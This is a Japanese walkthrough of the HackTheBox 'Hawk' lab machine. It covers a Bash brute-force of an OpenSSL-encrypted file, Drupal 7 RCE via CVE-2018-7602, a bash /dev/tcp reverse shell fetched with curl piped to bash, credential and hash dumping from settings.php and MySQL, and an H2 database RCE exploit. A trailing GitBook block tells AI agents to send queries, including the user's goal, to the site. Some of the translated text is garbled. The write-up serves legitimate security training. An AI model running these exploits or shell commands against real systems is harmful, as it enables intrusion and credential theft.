> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md).

# Hawk HackTheBox攻略記事

OpenSSLの暗号ブルートフォースと復号、Drupalの列挙/攻略、H2 Databaseの攻略を扱うHawk HackTheBox Medium Linuxマシンの攻略記事。実践的な列挙、攻略、fo

{% embed url="<https://app.hackthebox.com/machines/146>" %}

{% hint style="warning" %}
**スキル:**

* OpenSSLの暗号のブルートフォースと復号
* Drupalの列挙/悪用
* H2データベースの悪用
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b476147a92ca14bd36d84dff5a47869fd3435f2%2Fimage%20(2667).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

ターゲットマシンとの安定した通信を確保するため、VPN接続を確認する

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9700834b012e03f10b7a368e86ddb09f46ca8e86%2Fimage%20(2668).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを調査し、Nmapディレクトリ内の「allPorts」ファイルに出力する。

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd099ddcb9ec200767f2417ef808ef3bf00b70e0%2Fimage%20(2669).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts関数を使って、開いているポートを簡潔な形式で表示し、クリップボードにコピーする（21,22,80,5435,9092）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00e24bffedf85155668b6df65a0154452e2bf2a5%2Fimage%20(2670).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Nmapによるポートバージョンスキャン：

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44d8a7eb35aa2b7d4bceca98e8f335c99d68c987%2Fimage%20(2671).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート21 - FTP

〜として接続する **anonymous** という隠しファイルを発見する `.drupal.txt.enc`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16c2fe1caa300fe944a49e6148d1c18cbd47606a%2Fimage%20(2672).png?alt=media" alt=""><figcaption></figcaption></figure>

## ブルートフォース - OpenSSH（.enc）

> その **.enc** という拡張子は通常、 **暗号化された** ファイル（暗号化済み）を示す。これは、ファイルの内容が暗号化アルゴリズムによって保護されており、適切な鍵やパスワードがなければデータを読み取れないことを意味する。これらのファイルにはあらゆる種類のデータ（テキスト、画像、動画など）を含めることができ、機密情報を保護するためによく使われる。

その `.enc` ファイルはあるアルゴリズムで暗号化されている **AES-256-CBC** でエンコードされている **Base64**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77572e2fba67e55b4df4c3749c2456cc145a8f52%2Fimage%20(2673).png?alt=media" alt=""><figcaption></figcaption></figure>

**手順1: Base64のデコード**

```bash
cat .drupal.txt.enc | base64 -d > file_decoded.enc
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34740e0bc19cc11b32d0b4805f6858227ce928e8%2Fimage%20(2674).png?alt=media" alt=""><figcaption></figcaption></figure>

**手順2: OpenSSLによる復号**

このファイルを解読するにはパスワードが必要だ。手動で復号を試みるコマンドは次のとおり：

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af8cfefc7fe4531094d5fb8065e5a31c933a04fa%2Fimage%20(2675).png?alt=media" alt=""><figcaption></figcaption></figure>

**手順3: ブルートフォース用自動化スクリプト**

Bashスクリプトを使ってパスワードリストを試す（例： `rockyou.txt`).

```bash
#!/bin/bash

function ctrl_c(){
    echo -e "/n/n[!] 終了します.../n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for password in $(cat /usr/share/wordlists/rockyou.txt); do
    openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null

    if [ "$(echo $?)" == "0" ]; then
        echo -e "/n[+] パスワードは : $password/n"
        exit 0
    fi
done; tput cnorm
```

**結果:**

見つかったパスワードは: **友人たち**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ec3269c4f31949021332d09000d2ec83f02df83%2Fimage%20(2676).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **復号済みメッセージ**

復号されたファイルには新しいパスワードが含まれている：

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64

友人たち
```

* **PencilKeyboardScanner123**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6f128df7f5443d3f12a87a5104243cd032edf7c%2Fimage%20(2677).png?alt=media" alt=""><figcaption></figcaption></figure>

## ポート80 - HTTP

ポート80でDrupal 7のCMSが動作している。

```bash
whatweb 10.10.10.102
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62537663dc71693c66bac8de15a479a7c3066549%2Fimage%20(868).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d365f27853662c60b023ff9595df1d2a46941f95%2Fimage%20(2678).png?alt=media" alt=""><figcaption></figcaption></figure>

**認証 - パスワードによるアクセス**

〜のパスワードで接続してみる `PencilKeyboardScanner123` ユーザーの `admin` パスワードを使うと認証に成功する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9854da5c1665a4a24619c6efd299e07ef3fef10f%2Fimage%20(867).png?alt=media" alt=""><figcaption></figcaption></figure>

### リバースシェル - Drupal 7

Drupal 7未満のサーバー上でコマンドを実行するために、以下のスクリプトを使用する（CVE-2018-7602）：

{% embed url="<https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py>" %}

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru"
```

このコマンドにより、次のものを実行できる。 `id` サーバー上でコマンド。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4a848bde5138758b3c3c5fa863c68e0a4534629%2Fimage%20(869).png?alt=media" alt=""><figcaption></figcaption></figure>

**サーバーへのアクセス**/ サーバーへアクセスするには、ポート443で待ち受ける必要がある。 `nc`

```bash
nc -nvlp 443
```

次に、 `index.html` 以下の内容のファイルを作成して、リバースシェルを確立する：

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
```

**Webサーバーとコマンド実行**/ PythonでHTTPサーバーを起動する：

```bash
python3 -m http.server 80 
```

次に、スクリプトをダウンロードして実行するために次のコマンドを送信する：

```bash
curl http://10.10.14.3 | bash
```

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru"
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f08dac2514d3f2dab6115d45ef5e3f91c913119%2Fimage%20(870).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**ターミナルの安定化** ターミナルを扱うために、以下のコマンドを使用する：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cca193231cfb97ec7bc00b266564e229de64e247%2Fimage%20(871).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **権限昇格**

〜のWebディレクトリを調査すると `/var/www/html`、いくつかの設定ファイルが見つかる。その中で、興味深いファイルが特定される：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef54eec337a2942a055ea3c50d9e4a44e7797bf6%2Fimage%20(2680).png?alt=media" alt=""><figcaption></figcaption></figure>

**パス：** `sites/default/settings.php`

このファイルを確認すると、機密情報が見つかる：

* ユーザー名: drupal
* パスワード: drupal4hawk

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01aa9995a68738a29f46007af5d528bc37c638e9%2Fimage%20(2679).png?alt=media" alt=""><figcaption></figcaption></figure>

これらの認証情報でMySQLデータベースに接続する。これには以下のコマンドを使用する：

```bash
mysql -u drupal -p
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af02e90772e84e4bd6be312096f4bb1a1c3f4a0f%2Fimage%20(2681).png?alt=media" alt=""><figcaption></figcaption></figure>

パスワードを入力すると、利用可能なデータベースがすべて一覧表示され、その後Drupalに関連するデータベースを選択する：

```sql
show databases;
use drupal;
```

データベースに入ったら、次の内容を調べる： `users` 興味深い情報を見つけるためにテーブル：

```
SELECT * FROM users;
```

このテーブルで、あるユーザーに関連付けられたハッシュ化されたパスワードが見つかる：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dd08f4e1b263a5ff53e6d859f6bcff925c7b0d0%2Fimage%20(2682).png?alt=media" alt=""><figcaption></figcaption></figure>

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08`

### Johnによるブルートフォース - パスワードハッシュ

Johnを使ってパスワードハッシュを解読する

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

しかし、この場合は、次の中に一致するものが見つからなかった： `rockyou.txt` パスワードリスト。

### Python から通常の Bash へ脱出する

サーバーへは、〜としてアクセスした `daniel` データベースに関連付けられたパスワードを持つユーザーで（この例では、 **drupal4hawk**）。接続コマンドは次のとおり：

```bash
ssh daniel@10.10.10.182
```

パスワード: **drupal4hawk**

接続すると、直接Pythonインタプリタに入る。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3bf511a71df9df5ad1b32cd68efd199114b4f2c%2Fimage%20(865).png?alt=media" alt=""><figcaption></figcaption></figure>

通常の Bash シェルに戻るには、Python の `os` モジュールを使って Bash コマンドを実行できます。手順は次のとおりです:

1. モジュールをインポートする `os` :

   ```python
   import os
   ```
2. Bash シェルを実行する:

   ```python
   os.system('/bin/bash')
   ```

これにより、Python インタープリターから通常の Bash シェルにアクセスできるようになります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-496fcd4867069cf292809d9505f05ad60cc53c65%2Fimage%20(866).png?alt=media" alt=""><figcaption></figcaption></figure>

## H2データベースの悪用

/*/* 開いているポートの分析/*/*

まず、次のコマンドで内部の開いているポートを列挙する：

```bash
netstat -tuln
```

ポート **8082** が開いていることを確認し、 **H2 Database**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f34b07f59b7875bfad272d4efe6683753221d43f%2Fimage%20(2683).png?alt=media" alt=""><figcaption></figcaption></figure>

自分のマシンからこのサービスにアクセスするために、 **SSH**を使ってポート転送を行い、内部ポート8082をローカルマシンの8082ポートに転送する：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5326b6f13ed64f5f0a72a40e2a5c3d5a6de8d892%2Fimage%20(2684).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポートフォワーディング

自分のマシンからこのサービスにアクセスするために、 **SSH**を使ってポート転送を行い、内部ポート8082をローカルマシンの8082ポートに転送する：

```bash
ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102
```

### H2 Database:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aec01f64b10b5c31cec3f7bbf9eb7141030baaf1%2Fimage%20(2685).png?alt=media" alt=""><figcaption></figcaption></figure>

次を使用します **searchsploit** H2 Databaseに関連する既知の脆弱性を検索するために：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f1b5ad6558d5f985f72320fc61bf6fd935770e1%2Fimage%20(2687).png?alt=media" alt=""><figcaption></figcaption></figure>

```
searchsploit -m java/webapps/45506.py
```

リモートコマンド実行を可能にする興味深い機能を見つける：

```bash
python3 45506.py -H 127.0.0.1:8082
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672d4d7dbf52a3d3c1a6548cea9f11c5daa6e191%2Fimage%20(2686).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

このスクリプトでターゲットマシン上でコマンドを実行できる。システム内を探索すると、次を回収する。 **root.txtフラグ**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99ddd22267dbb7a48d1f06ba3507b5f928e11d4f%2Fimage%20(2688).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc9fbcfbfb90bf183d39b172dac584adb3b7dc0d%2Fimage%20(2689).png?alt=media" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
